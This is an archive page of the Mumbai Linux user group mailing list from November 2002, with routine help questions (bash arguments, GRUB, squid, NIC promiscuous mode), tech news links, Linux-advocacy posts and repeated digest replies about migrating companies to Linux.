? i want more material regarding projects ? software & hardware projects ? _ very important now do not ask me to search Sourceforge.net ,,,,,, i have seen , but at our best can provide or suggest to students that i want . still i think Degree eng . students do not get enough time to develop the projects . that's a fact ! so better we should see them in other way .......we can only make awareness of linux among them . for giving PROJECTS we sould find other audience [ other than deg. eng students , at least not in electronics ( Hardware ) ] we should approach Comouter branch & give a Try . if you want i can go to any of the college & will give brief idea abt " why Linux ? " to GET THEIR INTEREST not to teach them anything at that moment ! i have tried in my college like this : " they just know or may be not ( in some cases ] abt LINUX " , heard abt it " , haven't seen , Will only like know abt it , Not to use it at this moment ! _______ Students said so ! What i want from you is , the complete details ( in written format ) abt : Why LINUX ? Where can it can be ? why better than MS win ? which projects we can give ? who we are in LINUX World ? sir these details are EXTREMELY important ! i am Graphic gesigner so i will be able to make LINUX wallpaper [ by my own ] if get the BEST Punch lines & the above details ! so let me know abt what you think abt : My research on student my idea my vimp request abt linux pulicity material Yashraj _ iamprince

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Bash script doubt
by Nikhil Joshi 18 Nov '02

18 Nov '02

Hi! I'm trying to take command line args with the help of a bash script But i'm not able to achieve it Pls guide. #!/bin/bash # i want to detect command line options # e.g. sample.sh -1 foo1 -2 foo2 -3 foo3 # then i want following : arg1=foo1, arg2=foo2 , arg3=foo3 # I tried following but arg1 takes the value $2, arg2 $3 and arg3 $3 count=0 # counter to track current command line arg for cmd in $@ do count=`expr $count + 1` # count = count + 1 if `test $cmd = -1` then arg1=$`expr $count + 1` echo $arg1 # unfortunately it gives $2 and not foo1 fi done

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how to configure squid+wccp
by Sukhjit Singh 18 Nov '02

18 Nov '02

Hi all kindly help in configuring squid and wccp with cisco 3660 Regards Sukhjit Singh Network Administrator Emmsons Infotech Ltd. SCO 13-14-15, Sec 34A, Chandigarh-160 022 (Ph): +91 172 606664 sukhjits(a)emmtel.com http://www.emmtel.com

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re: [ILUG-BOM] Thinkin in c++ part 2 html format
by N.a.v.i.n ....D.h.a.n.u.k.a 18 Nov '02

18 Nov '02

Convert the pdf to html using pdf2html http://freshmeat.net/projects/pdf2html/?topic_id=867 Hi All Does any one of you have Thinking in c++ part 2 in html format from bruceeckel.com. Currently they have only the PDF and Doc format on the site. Thanks Abhijeet D Mhatre __________________________________________________ Do you Yahoo!? Yahoo! Web Hosting - Let the expert host your site http://webhosting.yahoo.com

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.kab to .csv
by Abhijeet D Mhatre 18 Nov '02

18 Nov '02

Hi all Does anyone know how to export the addressbook.kab to addressbook.csv. Also where does Kmail 1.4.1 which comes with RHLinux 7.3 store its addressbook. regards Abhijeet D Mhatre

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Thinkin in c++ part 2 html format
by Abhijeet D Mhatre 18 Nov '02

18 Nov '02

Hi All Does any one of you have Thinking in c++ part 2 in html format from bruceeckel.com. Currently they have only the PDF and Doc format on the site. Thanks Abhijeet D Mhatre

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identify all process-id's of netscape!
by Vimala-SP 17 Nov '02

17 Nov '02

Hai, I am running Redhat -7.1. Having some specific query related to netscape in linux. when we open multiple netscape sessions, in gui of linux, all netscape sessions are listed under only one parent netscape session. I would like to all the process-ids of nestcape and map it to the netstat results. I have tried all ps options / ".netscape/lock" / "proc/process-id values. If i am missing out something can u tell me. -vimala/.

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something realted to NIC in promiscuous
by Vimala-SP 17 Nov '02

17 Nov '02

Hai, My query is How do i identify the status of all nic cards in my mac. I accept ifconfig will do, but how do i find out if any of NICs are in promiscuous mode or not? -vimala/.

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[OT] More MS sec flaws
by Amol Hatwar 17 Nov '02

17 Nov '02

More security flaws have been revealed in IE, precisely in the way PNGs are interpreted. One of the people who discovered the flaw has even written a poem on it. Find more news here: http://www.vnunet.com/News/1137611 The flaw comes after many sites (especially ones titled to Free Software) stopped using GIFs and started using PNG based images. Is this coincidence? Regards, Amol Hatwar.

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DevFS
by Amish Munshi 17 Nov '02

17 Nov '02

Hello everyone, I was busy for a few days and had delivary to my account off for the mailing lists. Is there anything very major happenning on the list? I am using Mandrake 9.0 and something called DevFS starts everytime I boot up my PC. It takes approx 30 seconds of time during bootup. I realized that the following in /etc/rc.d/rc.sysinit causes it to run. # Try to get devfsd if [ -c /dev/.devfsd ]; then if [ -x /sbin/devfsd ]; then action "Running DevFs daemon" devfsd /dev else if ! grep -q "nodevfsd" /proc/cmdline;then # devfs is used but devfsd isn't installed quiet off gprintf " #### your system is currently using devfs but devfsd isn't availlable" gprintf " #### you should disable devfs (add 'devfs=nomount' to the paramaters" gprintf " #### that your bootloader gives to the kernel" # Let devfs being tested, but disable it on /dev action " Disabling devfs (was mounted on /dev)" umount /dev fi fi fi Can I disable it, I do not understand what it is. There is no man or any other info for it. Thanks in advance. Bye.

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Generating images through scripts
by Chetan Vaity 17 Nov '02

17 Nov '02

I want to create simple images (mostly lines and text) programatically. Has anyone dabbled with Gimp scripting to create images? Or can someone tell me another tool/program which does something similar. - Chetan

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[OT] Economic Times Article "Windows far ahead of Linux: Gates"
by Nikhil Kale 17 Nov '02

17 Nov '02

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Asus V3005
by Satish Alwani 17 Nov '02

17 Nov '02

Hi I havent yet joined ilug yet.. will do so in a while.. if someone can forward me the exact url.. coz the site only shows me a mail login. Anyways.. I have a Asus V3005 32 MB agp (with respect to http://mm.ilug-bom.org.in/pipermail/linuxers/Week-of-Mon-20020708/005425.htm l) and I'd like to know if anyone has found a workable cure for this. I am trying to use this on Redhat 8.0 Thanks, Satish ilug(a)assid.com

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FYI - Yahoo messenger port change
by Philip S Tellis 17 Nov '02

17 Nov '02

It appears that the port number for yahoo messenger has changed. While windows clients don't have a problem, the linux client has the port number written in its .ymessenger/preferences file Change 5050 to 23 in there. Same is true for everybuddy - change in the preferences window, or in .everybuddy/prefs gaim too probably. Philip -- "Extremism in the defense of liberty is no vice; moderation in the pursuit of justice is no virtue." -- Barry Goldwater (actually written by Karl Hess)

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Web publishers face worldwide legal liability
by Kiran Nadgir 17 Nov '02

17 Nov '02

A judgment in Australia may mean web publishers face worldwide legal liability, says Dan Tench http://media.guardian.co.uk/mediaguardian/story/0,7558,860512,00.html ----------------------------------------------------------------- Kiran Nadgir Mahindra British Telecom. Tel : 56922000 extn - 8070. Mobile - 9820444403. Email - kirann(a)mahindrabt.com WebSite: www.mahindrabt.com ----------------------------------------------------------------- Quote of the week ~~ " If I have seen farther than other men, it is because I stood on the shoulders of giants." Sir Isaac Newton ~~ ----------------------------------------------------------------- ********************************************************* Disclaimer This message (including any attachments) contains confidential information intended for a specific individual and purpose, and is protected by law. If you are not the intended recipient, you should delete this message and are hereby notified that any disclosure, copying, or distribution of this message, or the taking of any action based on it, is strictly prohibited. ********************************************************* Visit us at http://www.mahindrabt.com

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OT - Topology plotting
by kishor bhagwat 17 Nov '02

17 Nov '02

hello guys, I'm facing a vexing problem...one of my colleagues is writing a network mgmt system thats queries our WAN devices, collects info on their 'neighbours' and is supposed to plot the topology of the network. so basically...the input to the plotting program would be a list of: nodeID,{set of its neighbours}

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Check out Developement Languages
by Sachin Rase 17 Nov '02

17 Nov '02

[Fwd: [Ilugc] developer cd update.] -- Regards ----------- Sachin Rase MediaIBC ----------

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I have also been hacked in almost they exact same way you have.
by toeknee 17 Nov '02

17 Nov '02

I unplugged my cracked linux box from my network. I have tried not to tamper too much with the log messages however after reading your thread I to noticed in my .bash_history file there were very many similarities in your story. Let me know what I can do to help. Im not a linux guru but I did do really well in two unix classes I just took so I sort of know my way around. ToeKnee

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Re: Re: [OT] Ignorance is bliss (Saswata Banerjee & Associates)
by chetan v ingle 17 Nov '02

17 Nov '02

Hi everybody, I am newbie to this group.let me introduce myself. I am Chetan Ingle working in Rolta india ltd as s/w engg.Working on advanced java and redhat linux.Well When after started working on linux I simply fall in luv with linux and now I fall in luv I don't wanna come back . So I want everything on linux. Well I just read message of Saswat Banerji,I think it's easy to migrate to linux so we can convince customer.I have over 2 years experience on linux and java where i have done same thing like migrating application to linux.The only thing we have to do is give good technical support to customer after migration.Once we do for one customer then remaining customers will be convinced automatically. let me know ur views too. Regards, Chetan Ingle On Sat, 16 Nov 2002 linuxers-request(a)mm.ilug-bom.org.in wrote : >Send Linuxers mailing list submissions to > linuxers(a)mm.ilug-bom.org.in > >To subscribe or unsubscribe via the World Wide Web, visit > http://mm.ilug-bom.org.in/mailman/listinfo/linuxers >or, via email, send a message with subject or body 'help' to > linuxers-request(a)mm.ilug-bom.org.in > >You can reach the person managing the list at > linuxers-admin(a)mm.ilug-bom.org.in > >When replying, please edit your Subject line so it is more >specific >than "Re: Contents of Linuxers digest..." > > >Today's Topics: > > 1. Re: [OT] Ignorance is bliss (Saswata Banerjee & >Associates) > 2. Re: [OT] Ignorance is bliss (Amol Hatwar) > 3. Re: [OT] Ignorance is bliss (Amol Hatwar) > 4. Re: [OT] Ignorance is bliss (Amol Hatwar) > 5. Re: [OT] Ignorance is bliss (kishor bhagwat) > 6. Re: [OT] Ignorance is bliss (Amol Hatwar) > 7. Re: [OT] Ignorance is bliss (q u a s i) > 8. Re: OT - Topology plotting (Satya) > 9. Re: [OT] Ignorance is bliss (Vinayak Hegde) > 10. Re: [OT] Ignorance is bliss (Vinayak Hegde) > 11. Re: [OT] Ignorance is bliss (Vinayak Hegde) > >--__--__-- > >Message: 1 > From: "Saswata Banerjee & Associates" ><scrap(a)saswatabanerjee.com> >To: <linuxers(a)mm.ilug-bom.org.in> >Subject%3

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cannot boot into GNU/Linux
by aditya newalkar 17 Nov '02

17 Nov '02

Hi guys, I am facing somewhat wierd problem. I have Toshiba Laptop (Satellite 1410, Celeron 1.8GHz, 256MB RAM, NVIDIA GeForce4 420 Go Processor with 16 MB VRAM, 30 GB Hitachi IDE Harddisk, Windows XP preinstalled). I partitioned the harddisk using Partition Magic 7.0 into 15GB NTFS C: and 15GB E: FAT32. I installed Redhat 7.2 into that. I made following partitions /boot 100MB / 5GB /usr 3GB /home 3GB /var 3GB swap 512MB actually that much was not needed ... but anyway ;) Now Windows would boot without problem (fortunately) but it would not go to GNU/Linux at all! So I prepared a bootdisk with rawrite and went to rescue mode. I had experimented with GRUB this time which I don't have much idea about ;) In rescue mode it would mount my file system to /mnt/sysimage. To my surprise I found /boot partition empty! No vmlinuz there! Some pages about GRUB had instructed me to type "grub-install" on the command prompt. But that would say "/sbin/grub not found". So I figured probably this was becoz of the mounting the whole file system to /mnt/sysimage. So I saw that grub-install is a shell script I can modify. So I changed some variables to reflect the new mounting. But now it would give message that some file in /mnt/sysimage/usr/i386... is missing! I cannot make head to tail of that message. One mistake that I have done which seems to be quite common, while installing GRUB is I have not labelled the Windows XP partition. Apart from that I got one warning while installing that my architecture may not support the partitioning that I have made. As a GNU/Linux enthusiast I don't want to erase the system that is installed and am trying to find a way to make things work without it as I can. The questions are: 1) Why /boot partition is empty? 2) Why GRUB would not load? 3) What I need to do without going thru the hassels of reinstallation? Thanx ===== rgds, Aditya N. ======= Graduate Student, Electrical & Computer Engineering Department, Auburn University, Auburn AL, USA. __________________________________________________ Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now. http://mailplus.yahoo.com

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Downloading MP3
by Jeetu Golani 17 Nov '02

17 Nov '02

Hey guys, Could anyone tell me where I can download a P2P client for Linux that'll let me download MP3 music. Limewire can't connect for some reason (maybe my ISP=Powersurfer, blocking Gnutella??). I'd really appreciate this Thanks

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MS un-denial leaves Linux option open
by Kiran Nadgir 17 Nov '02

17 Nov '02

Meta Group has made a bold prediction that Microsoft will deliver some server-side software to run on Linux beginning next year, but Redmond's official "denial" leaves the option wide open. It revives a rumor that's been doing the rounds for two years. Starting with .NET, thinks Meta Group, Microsoft will eventually move SQL Server and Exchange to the OS, too. Read more.. @.. http://www.theregister.co.uk/content/53/28516.html ----------------------------------------------------------------- Kiran Nadgir Mahindra British Telecom. Tel : 56922000 extn - 8070. Mobile - 9820444403. Email - kirann(a)mahindrabt.com WebSite: www.mahindrabt.com ----------------------------------------------------------------- Quote of the week ~~ " If I have seen farther than other men, it is because I stood on the shoulders of giants." Sir Isaac Newton ~~ ----------------------------------------------------------------- ********************************************************* Disclaimer This message (including any attachments) contains confidential information intended for a specific individual and purpose, and is protected by law. If you are not the intended recipient, you should delete this message and are hereby notified that any disclosure, copying, or distribution of this message, or the taking of any action based on it, is strictly prohibited. ********************************************************* Visit us at http://www.mahindrabt.com

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Hi.. I am a new Lugger..
by Dileep Kumar 16 Nov '02

16 Nov '02

Hello everybody, I am new to LUG Mumbai I am a s/w engr working with Tata Consultancy Services, Borivali Mumbai. I would like to be part of the activities of LUG Mumbai and to spread a word about the greatness of GNU/Linux to my colleagues and friends.I will try to attend your next meeting at VJTI. Does LUG have any program like visiting different companies and schools/ colleges to spread awareness about Open source software. If so I can arrange for the facilities in TCS. Warm Regards dk.

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Re: Re: [ILUG-BOM] [OT] Ignorance is bliss
by chetan v ingle 16 Nov '02

16 Nov '02

Hi everybody, I am newbie to this group.let me introduce myself. I am Chetan Ingle working in Rolta india ltd as s/w engg.Working on advanced java and redhat linux.Well When after started working on linux I simply fall in luv with linux and now I fall in luv I don't wanna come back . So I want everything on linux. Well I just read message of Saswat Banerji,I think it's easy to migrate to linux so we can convince customer.I have over 2 years experience on linux and java where i have done same thing like migrating application to linux.The only thing we have to do is give good technical support to customer after migration.Once we do for one customer then remaining customers will be convinced automatically. let me know ur views too. Regards, Chetan Ingle On Sat, 16 Nov 2002 linuxers-request(a)mm.ilug-bom.org.in wrote : >Send Linuxers mailing list submissions to > linuxers(a)mm.ilug-bom.org.in > >To subscribe or unsubscribe via the World Wide Web, visit > http://mm.ilug-bom.org.in/mailman/listinfo/linuxers >or, via email, send a message with subject or body 'help' to > linuxers-request(a)mm.ilug-bom.org.in > >You can reach the person managing the list at > linuxers-admin(a)mm.ilug-bom.org.in > >When replying, please edit your Subject line so it is more >specific >than "Re: Contents of Linuxers digest..." > > >Today's Topics: > > 1. Re: [OT] Ignorance is bliss (Saswata Banerjee & >Associates) > 2. Re: [OT] Ignorance is bliss (Amol Hatwar) > 3. Re: [OT] Ignorance is bliss (Amol Hatwar) > 4. Re: [OT] Ignorance is bliss (Amol Hatwar) > 5. Re: [OT] Ignorance is bliss (kishor bhagwat) > 6. Re: [OT] Ignorance is bliss (Amol Hatwar) > 7. Re: [OT] Ignorance is bliss (q u a s i) > 8. Re: OT - Topology plotting (Satya) > 9. Re: [OT] Ignorance is bliss (Vinayak Hegde) > 10. Re: [OT] Ignorance is bliss (Vinayak Hegde) > 11. Re: [OT] Ignorance is bliss (Vinayak Hegde) > >--__--__-- > >Message: 1 > From: "Saswata Banerjee & Associates" ><scrap(a)saswatabanerjee.com> >To: <linuxers(a)mm.ilug-bom.org.in> >Subject: Re: [ILUG-BOM] [OT] Ignorance is bliss >Date: Fri, 15 Nov 2002 19:28:24 +0530 >Reply-To: linuxers(a)mm.ilug-bom.org.in > >Connected with the same topic actually, > >If we manage to convince one of our clients to move at least >partially to >linux, how can ILUG help them ? > >I am talking about companies falling between small and mid-sized >companies >in service industry. Say with 150-200 people working for them ? >Can we >promise such people help in moving to Linux and help in solving >problems >that they face ? > >Companies like these are not the ones who can use help from >usenet or such >things. > >I have been telling my clients that Linux is a good platform to >move to, >specially since it does not make sense to pay huge amounts for >official >windows software. I have also told them that the platform is very >stable, >meaning that once installed, unless you fiddle with things, it >will work >trouble free for years. But they are still worried about whether >they will >be able to cope up with problems that they may face. (Neither can >they >afford to have expensive tech-support contracts) > >Regards >Saswata > > > > >--__--__-- > >Message: 3 > From: "Amol Hatwar" <rollacosta(a)phreaker.net> >To: <linuxers(a)mm.ilug-bom.org.in> >Subject: Re: [ILUG-BOM] [OT] Ignorance is bliss >Date: Fri, 15 Nov 2002 20:11:45 +0530 >Reply-To: linuxers(a)mm.ilug-bom.org.in > > > Connected with the same topic actually, > > > > If we manage to convince one of our clients to move at least >partially to > > linux, how can ILUG help them ? > >Maybe we should try this area as well. What say people. The best >way to >prove your ability is by DOING IT. > > > I am talking about companies falling between small and >mid-sized companies > > in service industry. Say with 150-200 people working for them >? Can we > > promise such people help in moving to Linux and help in >solving problems > > that they face ? >*snip* > >I am thinking of starting a Consulting company that will do only >GNU/Linux >and M$ to GNU/Linux migration. And I am looking for willing >customers... > >Saswata where can I get in touch with you regarding this? > >Warm wishes, > >Amol Hatwar.

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Re: Re: [ILUG-BOM] [OT] Ignorance is bliss
by chetan v ingle 16 Nov '02

16 Nov '02

Hi everybody, I am newbie to this group.let me introduce myself. I am Chetan Ingle working in Rolta india ltd as s/w engg.Working on advanced java and redhat linux.Well When after started working on linux I simply fall in luv with linux and now I fall in luv I don't wanna come back . So I want everything on linux. Well I just read message of Saswat Banerji,I think it's easy to migrate to linux so we can convince customer.I have over 2 years experience on linux and java where i have done same thing like migrating application to linux.The only thing we have to do is give good technical support to customer after migration.Once we do for one customer then remaining customers will be convinced automatically. let me know ur views too. Regards, Chetan Ingle On Sat, 16 Nov 2002 linuxers-request(a)mm.ilug-bom.org.in wrote : >Send Linuxers mailing list submissions to > linuxers(a)mm.ilug-bom.org.in > >To subscribe or unsubscribe via the World Wide Web, visit > http://mm.ilug-bom.org.in/mailman/listinfo/linuxers >or, via email, send a message with subject or body 'help' to > linuxers-request(a)mm.ilug-bom.org.in > >You can reach the person managing the list at > linuxers-admin(a)mm.ilug-bom.org.in > >When replying, please edit your Subject line so it is more >specific >than "Re: Contents of Linuxers digest..." > > >Today's Topics: > > 1. Re: [OT] Ignorance is bliss (Saswata Banerjee & >Associates) > 2. Re: [OT] Ignorance is bliss (Amol Hatwar) > 3. Re: [OT] Ignorance is bliss (Amol Hatwar) > 4. Re: [OT] Ignorance is bliss (Amol Hatwar) > 5. Re: [OT] Ignorance is bliss (kishor bhagwat) > 6. Re: [OT] Ignorance is bliss (Amol Hatwar) > 7. Re: [OT] Ignorance is bliss (q u a s i) > 8. Re: OT - Topology plotting (Satya) > 9. Re: [OT] Ignorance is bliss (Vinayak Hegde) > 10. Re: [OT] Ignorance is bliss (Vinayak Hegde) > 11. Re: [OT] Ignorance is bliss (Vinayak Hegde) > >--__--__-- > >Message: 1 > From: "Saswata Banerjee & Associates" ><scrap(a)saswatabanerjee.com> >To: <linuxers(a)mm.ilug-bom.org.in> >Subject: Re: [ILUG-BOM] [OT] Ignorance is bliss >Date: Fri, 15 Nov 2002 19:28:24 +0530 >Reply-To: linuxers(a)mm.ilug-bom.org.in > >Connected with the same topic actually, > >If we manage to convince one of our clients to move at least >partially to >linux, how can ILUG help them ? > >I am talking about companies falling between small and mid-sized >companies >in service industry. Say with 150-200 people working for them ? >Can we >promise such people help in moving to Linux and help in solving >problems >that they face ? > >Companies like these are not the ones who can use help from >usenet or such >things. > >I have been telling my clients that Linux is a good platform to >move to, >specially since it does not make sense to pay huge amounts for >official >windows software. I have also told them that the platform is very >stable, >meaning that once installed, unless you fiddle with things, it >will work >trouble free for years. But they are still worried about whether >they will >be able to cope up with problems that they may face. (Neither can >they >afford to have expensive tech-support contracts) > >Regards >Saswata > > > > >--__--__-- > >Message: 3 > From: "Amol Hatwar" <rollacosta(a)phreaker.net> >To: <linuxers(a)mm.ilug-bom.org.in> >Subject: Re: [ILUG-BOM] [OT] Ignorance is bliss >Date: Fri, 15 Nov 2002 20:11:45 +0530 >Reply-To: linuxers(a)mm.ilug-bom.org.in > > > Connected with the same topic actually, > > > > If we manage to convince one of our clients to move at least >partially to > > linux, how can ILUG help them ? > >Maybe we should try this area as well. What say people. The best >way to >prove your ability is by DOING IT. > > > I am talking about companies falling between small and >mid-sized companies > > in service industry. Say with 150-200 people working for them >? Can we > > promise such people help in moving to Linux and help in >solving problems > > that they face ? >*snip* > >I am thinking of starting a Consulting company that will do only >GNU/Linux >and M$ to GNU/Linux migration. And I am looking for willing >customers... > >Saswata where can I get in touch with you regarding this? > >Warm wishes, > >Amol Hatwar.

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Re: Re: [ILUG-BOM] [OT] Ignorance is bliss : Saswata Banerjee & Associates
by chetan v ingle 16 Nov '02

16 Nov '02

Hi everybody, I am newbie to this group.let me introduce myself. I am Chetan Ingle working in Rolta india ltd as s/w engg.Working on advanced java and redhat linux.Well When after started working on linux I simply fall in luv with linux and now I fall in luv I don't wanna come back . So I want everything on linux. Well I just read message of Saswat Banerji,I think it's easy to migrate to linux so we can convince customer.I have over 2 years experience on linux and java where i have done same thing like migrating application to linux.The only thing we have to do is give good technical support to customer after migration.Once we do for one customer then remaining customers will be convinced automatically. let me know ur views too. Regards, Chetan Ingle On Sat, 16 Nov 2002 linuxers-request(a)mm.ilug-bom.org.in wrote : >Send Linuxers mailing list submissions to > linuxers(a)mm.ilug-bom.org.in > >To subscribe or unsubscribe via the World Wide Web, visit > http://mm.ilug-bom.org.in/mailman/listinfo/linuxers >or, via email, send a message with subject or body 'help' to > linuxers-request(a)mm.ilug-bom.org.in > >You can reach the person managing the list at > linuxers-admin(a)mm.ilug-bom.org.in > >When replying, please edit your Subject line so it is more >specific >than "Re: Contents of Linuxers digest..." > > >Today's Topics: > > 1. Re: [OT] Ignorance is bliss (Saswata Banerjee & >Associates) > 2. Re: [OT] Ignorance is bliss (Amol Hatwar) > 3. Re: [OT] Ignorance is bliss (Amol Hatwar) > 4. Re: [OT] Ignorance is bliss (Amol Hatwar) > 5. Re: [OT] Ignorance is bliss (kishor bhagwat) > 6. Re: [OT] Ignorance is bliss (Amol Hatwar) > 7. Re: [OT] Ignorance is bliss (q u a s i) > 8. Re: OT - Topology plotting (Satya) > 9. Re: [OT] Ignorance is bliss (Vinayak Hegde) > 10. Re: [OT] Ignorance is bliss (Vinayak Hegde) > 11. Re: [OT] Ignorance is bliss (Vinayak Hegde) > >--__--__-- > >Message: 1 > From: "Saswata Banerjee & Associates" ><scrap(a)saswatabanerjee.com> >To: <linuxers(a)mm.ilug-bom.org.in> >Subject: Re: [ILUG-BOM] [OT] Ignorance is bliss >Date: Fri, 15 Nov 2002 19:28:24 +0530 >Reply-To: linuxers(a)mm.ilug-bom.org.in > >Connected with the same topic actually, > >If we manage to convince one of our clients to move at least >partially to >linux, how can ILUG help them ? > >I am talking about companies falling between small and mid-sized >companies >in service industry. Say with 150-200 people working for them ? >Can we >promise such people help in moving to Linux and help in solving >problems >that they face ? > >Companies like these are not the ones who can use help from >usenet or such >things. > >I have been telling my clients that Linux is a good platform to >move to, >specially since it does not make sense to pay huge amounts for >official >windows software. I have also told them that the platform is very >stable, >meaning that once installed, unless you fiddle with things, it >will work >trouble free for years. But they are still worried about whether >they will >be able to cope up with problems that they may face. (Neither can >they >afford to have expensive tech-support contracts) > >Regards >Saswata > > > > >--__--__-- > >Message: 3 > From: "Amol Hatwar" <rollacosta(a)phreaker.net> >To: <linuxers(a)mm.ilug-bom.org.in> >Subject: Re: [ILUG-BOM] [OT] Ignorance is bliss >Date: Fri, 15 Nov 2002 20:11:45 +0530 >Reply-To: linuxers(a)mm.ilug-bom.org.in > > > Connected with the same topic actually, > > > > If we manage to convince one of our clients to move at least >partially to > > linux, how can ILUG help them ? > >Maybe we should try this area as well. What say people. The best >way to >prove your ability is by DOING IT. > > > I am talking about companies falling between small and >mid-sized companies > > in service industry. Say with 150-200 people working for them >? Can we > > promise such people help in moving to Linux and help in >solving problems > > that they face ? >*snip* > >I am thinking of starting a Consulting company that will do only >GNU/Linux >and M$ to GNU/Linux migration. And I am looking for willing >customers... > >Saswata where can I get in touch with you regarding this? > >Warm wishes, > >Amol Hatwar. >

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Re: Re: [OT] Ignorance is bliss (Saswata Banerjee & Associates)
by chetan v ingle 16 Nov '02

16 Nov '02

Hi everybody, I am newbie to this group.let me introduce myself. I am Chetan Ingle working in Rolta india ltd as s/w engg.Working on advanced java and redhat linux.Well When after started working on linux I simply fall in luv with linux and now I fall in luv I don't wanna come back . So I want everything on linux. Well I just read message of Saswata Banerji,I think it's easy to migrate to linux so we can convince customer.I have over 2 years experience on linux and java where i have done same thing like migrating application to linux.The only thing we have to do is give good technical support to customer after migration.Once we do for one customer then remaining customers will be convinced automatically. let me know ur views too. Regards, Chetan Ingle On Sat, 16 Nov 2002 linuxers-request(a)mm.ilug-bom.org.in wrote : >Send Linuxers mailing list submissions to > linuxers(a)mm.ilug-bom.org.in > >To subscribe or unsubscribe via the World Wide Web, visit > http://mm.ilug-bom.org.in/mailman/listinfo/linuxers >or, via email, send a message with subject or body 'help' to > linuxers-request(a)mm.ilug-bom.org.in > >You can reach the person managing the list at > linuxers-admin(a)mm.ilug-bom.org.in > >When replying, please edit your Subject line so it is more >specific >than "Re: Contents of Linuxers digest..." > > >Today's Topics: > > 1. Re: [OT] Ignorance is bliss (Saswata Banerjee & >Associates) > 2. Re: [OT] Ignorance is bliss (Amol Hatwar) > 3. Re: [OT] Ignorance is bliss (Amol Hatwar) > 4. Re: [OT] Ignorance is bliss (Amol Hatwar) > 5. Re: [OT] Ignorance is bliss (kishor bhagwat) > 6. Re: [OT] Ignorance is bliss (Amol Hatwar) > 7. Re: [OT] Ignorance is bliss (q u a s i) > 8. Re: OT - Topology plotting (Satya) > 9. Re: [OT] Ignorance is bliss (Vinayak Hegde) > 10. Re: [OT] Ignorance is bliss (Vinayak Hegde) > 11. Re: [OT] Ignorance is bliss (Vinayak Hegde) > >--__--__-- > >Message: 1 > From: "Saswata Banerjee & Associates" ><scrap(a)saswatabanerjee.com> >To: <linuxers(a)mm.ilug-bom.org.in> >Subject: Re: [ILUG-BOM] [OT] Ignorance is bliss >Date: Fri, 15 Nov 2002 19:28:24 +0530 >Reply-To: linuxers(a)mm.ilug-bom.org.in > >Connected with the same topic actually, > >If we manage to convince one of our clients to move at least >partially to >linux, how can ILUG help them ? > >I am talking about companies falling between small and mid-sized >companies >in service industry. Say with 150-200 people working for them ? >Can we >promise such people help in moving to Linux and help in solving >problems >that they face ? > >Companies like these are not the ones who can use help from >usenet or such >things. > >I have been telling my clients that Linux is a good platform to >move to, >specially since it does not make sense to pay huge amounts for >official >windows software. I have also told them that the platform is very >stable, >meaning that once installed, unless you fiddle with things, it >will work >trouble free for years. But they are still worried about whether >they will >be able to cope up with problems that they may face. (Neither can >they >afford to have expensive tech-support contracts) > >Regards >Saswata > > > >--__--__-- > >Message: 2 > From: "Amol Hatwar" <rollacosta(a)phreaker.net> >To: <linuxers(a)mm.ilug-bom.org.in> >Subject: Re: [ILUG-BOM] [OT] Ignorance is bliss >Date: Fri, 15 Nov 2002 19:51:33 +0530 >Reply-To: linuxers(a)mm.ilug-bom.org.in > > ----- Original Message ----- > > From: "Amol Hatwar" <rollacosta(a)phreaker.net> > > To: <linuxers(a)mm.ilug-bom.org.in> > > Sent: Friday, November 15, 2002 6:20 PM > > Subject: Re: [ILUG-BOM] [OT] Ignorance is bliss > > > > > > >> market share in desktop environment. The entire core of >dotnet strategy > > is > > >> to move things away from the desktop / client and move the >processing >to > > >>the > > >> server > > > These days are too far. The people at Sun thought about the >Network > > Computer > > > and burnt their hands. > > > > > > Sometimes I use connection speeds where even the K is absent >;). > > > > DotNet was thougth out and designed when the DotCom boom was >at its crest > > and every one was saying the all corporate will move to ASP >(Application > > Service Provider) model of computing. The dotnet strategy >could, obviously > > not be changed at this stage though the dotcom boom ended, so >its features > > are still there waiting for the time when it will be >implemented. Till >then, > > it will only serve to further bloat windows software. > >The ASP model in general was a failure how many more dot-com >companies do we >need to prove that. > > > > > As for Network Computer, I think one hand it was badly >marketed, and on >the > > other hand, there was very little benefit of moving to that >platform. The > > savings at each client was minimum and that power demand >requirement added > > on the server side was too much. Sun based its NC strategy >on > > "Anit-Microsoft" platform rather on user needs and benefits. > >The NC seems promising even today. But then lets wait for IBM to >eat Sun ;). >Maybe then it will be more valid. > >Regards, > >Amol Hatwar. > > > > > >--__--__-- > >Message: 3 > From: "Amol Hatwar" <rollacosta(a)phreaker.net> >To: <linuxers(a)mm.ilug-bom.org.in> >Subject: Re: [ILUG-BOM] [OT] Ignorance is bliss >Date: Fri, 15 Nov 2002 20:11:45 +0530 >Reply-To: linuxers(a)mm.ilug-bom.org.in > > > Connected with the same topic actually, > > > > If we manage to convince one of our clients to mo

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Re: Re: [OT] Ignorance is bliss (Saswata Banerjee & Associates)
by chetan v ingle 16 Nov '02

16 Nov '02

Hi everybody, I am newbie to this group.let me introduce myself. I am Chetan Ingle working in Rolta india ltd as s/w engg.Working on advanced java and redhat linux.Well When after started working on linux I simply fall in luv with linux and now I fall in luv I don't wanna come back . So I want everything on linux. Well I just read message of Saswata Banerji,I think it's easy to migrate to linux so we can convince customer.I have over 2 years experience on linux and java where i have done same thing like migrating application to linux.The only thing we have to do is give good technical support to customer after migration.Once we do for one customer then remaining customers will be convinced automatically. let me know ur views too. Regards, Chetan Ingle On Sat, 16 Nov 2002 linuxers-request(a)mm.ilug-bom.org.in wrote : >Send Linuxers mailing list submissions to > linuxers(a)mm.ilug-bom.org.in > >To subscribe or unsubscribe via the World Wide Web, visit > http://mm.ilug-bom.org.in/mailman/listinfo/linuxers >or, via email, send a message with subject or body 'help' to > linuxers-request(a)mm.ilug-bom.org.in > >You can reach the person managing the list at > linuxers-admin(a)mm.ilug-bom.org.in > >When replying, please edit your Subject line so it is more >specific >than "Re: Contents of Linuxers digest..." > > >Today's Topics: > > 1. Re: [OT] Ignorance is bliss (Saswata Banerjee & >Associates) > 2. Re: [OT] Ignorance is bliss (Amol Hatwar) > 3. Re: [OT] Ignorance is bliss (Amol Hatwar) > 4. Re: [OT] Ignorance is bliss (Amol Hatwar) > 5. Re: [OT] Ignorance is bliss (kishor bhagwat) > 6. Re: [OT] Ignorance is bliss (Amol Hatwar) > 7. Re: [OT] Ignorance is bliss (q u a s i) > 8. Re: OT - Topology plotting (Satya) > 9. Re: [OT] Ignorance is bliss (Vinayak Hegde) > 10. Re: [OT] Ignorance is bliss (Vinayak Hegde) > 11. Re: [OT] Ignorance is bliss (Vinayak Hegde) > >--__--__-- > >Message: 1 > From: "Saswata Banerjee & Associates" 